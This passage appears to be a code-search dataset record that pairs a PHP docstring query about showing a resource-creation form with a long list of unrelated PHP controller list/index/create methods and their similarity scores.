1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create() { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", 